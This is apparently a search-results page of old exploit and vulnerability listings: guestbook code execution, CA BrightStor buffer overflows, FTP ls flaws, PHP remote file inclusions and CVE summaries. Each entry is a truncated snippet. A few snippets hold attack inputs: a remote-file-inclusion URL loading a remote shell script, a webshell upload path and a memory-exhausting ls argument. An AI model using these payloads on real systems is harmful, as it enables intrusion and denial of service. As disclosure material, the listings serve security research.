LS Simple Guestbook 1.0 - Remote Code Execution

LS Simple Guestbook 1.0 - Remote Code Execution Special Greetings To - Timq,Warpboy,The-Maggot File: index.php Affects: LS simple guestbook v1 Date: 15th April 2007 Issue Description: =========================================================================== LS simple guestbook fails to sanitize...

LS Simple Guestbook 1.0 - Remote Code Execution

Special Greetings To - Timq,Warpboy,The-Maggot File: index.php Affects: LS simple guestbook v1 Date: 15th April 2007 Issue Description: =========================================================================== LS simple guestbook fails to sanitize user input that it writes to the posts.txt file...

caid-msgeng.txt

!/usr/bin/python This one was listed in the SANS TOP 20 and I needed an exploit for analysis. I couldnt find a reliable exploit for my analysis and so came up with this. Remote exploit for the CA BrightStor msgeng.exe service stack overflow vulnerability as described in LS-20060330.pdf on...

ARCserve msgeng.exe buffer overflow exploit (win2k SP4)

Hi, I have attached an exploit for CA ARCserve msgeng.exe buffer overflow exploit as described in LS-20060330.pdf. This was tested on windows 2000 server SP4 in a vmware environment. Cheers, Looking for earth-friendly autos? Browse Top Cars by "Green Rating" at Yahoo! Autos' Green Center...

CA BrightStor ARCserve - 'msgeng.exe' Remote Stack Overflow

!/usr/bin/python This one was listed in the SANS TOP 20 and I needed an exploit for analysis. I couldnt find a reliable exploit for my analysis and so came up with this. Remote exploit for the CA BrightStor msgeng.exe service stack overflow vulnerability as described in LS-20060330.pdf on...

CA BrightStor ARCserve - msgeng.exe Remote Stack Overflow

CA BrightStor ARCserve - msgeng.exe Remote Stack Overflow !/usr/bin/python This one was listed in the SANS TOP 20 and I needed an exploit for analysis. I couldnt find a reliable exploit for my analysis and so came up with this. Remote exploit for the CA BrightStor msgeng.exe service stack overflo...

/bin/ls with gid=0 in Debian linux-ftpd

Mea culpa. A stupid little bug crept into linux-ftpd for Debian, and some other Linux distros. Some may have fixed it, but Debian hasn't. The effect is that ftpd now runs /bin/ls for DIR and similar commands with GID=0. Does not seem terribly dangerous as I do not seem able to trick ls into runni...

Linux ftpd ls privilege escalation

ls command is executed with effective gid 0...

CA BrightStor ARCserve (msgeng.exe) Remote Heap Overflow Exploit

No description provided by source. !/usr/bin/python I couldnt find a reliable exploit for my analysis and so came up with this. Remote exploit for the CA BrightStor msgeng.exe service heap overflow vulnerability as described in LS-20060313.pdf on lssec.com. The exploit was tested on windows 2000...

LS-20061102 - Business Objects Crystal Reports XI Professional Stack Overflow Vulnerability

LS-20061102 LSsec has discovered a vulnerability in Business Objects Crystal Reports XI Professional, which could be exploited by an attacker in order to execute arbitrary code on an affected system. Exploitation requires that the attacker coerce the target user into opening a malicious .RPT file...

PHPht-rfi.txt

BiyoSecurity.Org & SecurityWall.Org Scripts: PHPht Topsites Remote File İnclude Download: http://www.linkini.net/phpscripts/descargas/Top%20Sites%208%20Archivos/PHPht%20Topsites.zip Greetz : Liz0zim , RMx , TRIP , DreamLord Regards : KorsaN Vulnerable file : All Files := vulnerable code :...

Bloq 0.5.4 - rdf.php?page[path] Remote File Inclusion

Bloq 0.5.4 - rdf.php?pagepath Remote File Inclusion source: https://www.securityfocus.com/bid/20512/info Bloq is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data. Exploiting these issues could allow an attacker to compromise the...

Mambo Component ExtCalendar 2.0 - Remote File Inclusion

Mambo Component ExtCalendar 2.0 - Remote File Inclusion -------------------------------------------------------------------------------- Title : ExtCalendar Mambo Module = v2 Remote File Include Vulnerabilities Discovered By OLiBekaS...

pollvote.txt

Title: PollVote Remote File Inclusion http://www.worlddefacers.net Vulnerability Discovery: rUnViRuS ---------------------------------- exploit :- http://www.host.com/path/pollvote.php?pollname=http://www.host.com/CMD.gif?&cmd=ls...

wu-ftpd ls -W memory exhaustion

The FTP server does not filter arguments to the ls command. It is possible to consume all available memory on the machine by sending ls '-w 1000000 -C' See http://www.guninski.com/binls.html OpenVAS Vulnerability Test $Id: wuftpdlsDoS.nasl 6053 2017-05-01 09:02:51Z teissa $ Description: wu-ftpd l...

[Full-disclosure] xss in php koala script v1.2

xss /info.php?user=xss and an upload vulnerability if you upload a file named file.gif.php /upload/file.gif.php?cmd=ls file.gif.php is attached...

CVE-2005-2142

CVE-2005-2142 is a vulnerability in Golden FTP Server 2.60 where an authenticated remote attacker can use a backslash-dot-dot in the LIST command to disclose directory contents. The available sources consistently describe a directory traversal that allows listing arbitrary directories, exposing f...

CVE-2005-2142: Undefined Security Weakness

Directory traversal vulnerability in Golden FTP Server 2.60 allows remote authenticated attackers to list arbitrary directories via a ".." backslash dot dot in an LS LIST command...

CVE-2001-1501: Undefined Security Weakness

The glob functionality in ProFTPD 1.2.1, and possibly other versions allows remote attackers to cause a denial of service CPU and memory consumption via commands with large numbers of wildcard and other special characters, as demonstrated using an ls command with multiple 1 "/..", 2 "/.", or 3...

CVE-2005-1718

CVE-2005-1718 describes a buffer overflow in LS Games War Times (version 1.03 and earlier) that allows remote attackers to crash the server by sending a long nickname. The issue is confirmed across multiple records (NVD/Red Hat/CVE listing). The connected documents do not provide a patched versio...